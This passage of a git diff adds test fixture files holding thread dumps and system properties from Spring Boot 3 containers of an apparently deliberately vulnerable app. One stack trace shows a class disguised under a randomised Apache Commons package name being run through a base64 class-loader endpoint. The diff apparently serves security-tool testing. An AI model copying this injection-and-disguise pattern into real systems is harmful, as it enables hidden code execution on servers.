+"http-nio-8080-Acceptor" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.2/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.2/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:518) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:128) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Catalina-utility-1" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1398e522 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@389d76c6 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + at java.base@17.0.2/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"http-nio-8080-exec-3" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"container-0" #21 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:520) + at org.springframework.boot.web.embedded.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:219) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-4" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-nio-8080-exec-5" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.2/java.lang.Thread.getAllStackTraces(Thread.java:1662) + at org.apache.commons.lang.YTwIm.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22) + at java.base@17.0.2/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.2/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.2/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.2/java.lang.reflect.Method.invoke(Method.java:568) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:255) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:188) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:926) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:831) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:590) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:658) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:195) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:397) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:905) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1741) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1190) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-nio-8080-exec-2" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-nio-8080-exec-1" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.2/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.2/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"http-nio-8080-exec-8" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-nio-8080-exec-9" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"http-nio-8080-Poller" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:755) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Catalina-utility-2" #20 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1398e522 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.2/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.2/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-7" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"DestroyJavaVM" #34 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-6" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b2df9a1 + java.lang.Thread.State: WAITING + at java.base@17.0.2/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.2/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3463) + at java.base@17.0.2/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3434) + at java.base@17.0.2/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.2/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1175) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController +jakarta.servlet.http.HttpServlet +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.commons.lang.YTwIm.ErrorHandler +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter +org.springframework.boot.web.embedded.tomcat.TomcatWebServer$1 +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot3WebFluxContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot3WebFluxContainerTestBasicInfo.txt new file mode 100644 index 00000000..452dc59f --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot3WebFluxContainerTestBasicInfo.txt @@ -0,0 +1,268 @@ +# Generated At 2025-08-10 15:00:10 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: app.jar +java.vm.vendor: Oracle Corporation +sun.arch.data.model: 64 +java.vendor.url: https://java.oracle.com/ +user.timezone: UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +sun.boot.library.path: /usr/java/openjdk-17/lib +sun.java.command: app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2022-01-18 +java.home: /usr/java/openjdk-17 +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.2+8-86 +user.name: root +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.url.bug: https://bugreport.java.com/bugreport/ +java.io.tmpdir: /tmp +java.version: 17.0.2 +user.dir: /app +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Oracle Corporation +java.vm.version: 17.0.2+8-86 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 +LOGGED_APPLICATION_NAME: [vul-springboot3] + +=========================================== + +ThreadStacks: +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@12aef466 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.2/java.lang.Object.wait(Native Method) + at java.base@17.0.2/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.2/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + at java.base@17.0.2/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"reactor-http-nio-3" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"reactor-http-nio-1" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.2/java.lang.Thread.run(Thread.java:833) + +"reactor-http-nio-2" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.2/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.2/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.2/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:68) + at io.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:879) + at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:526) + at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at 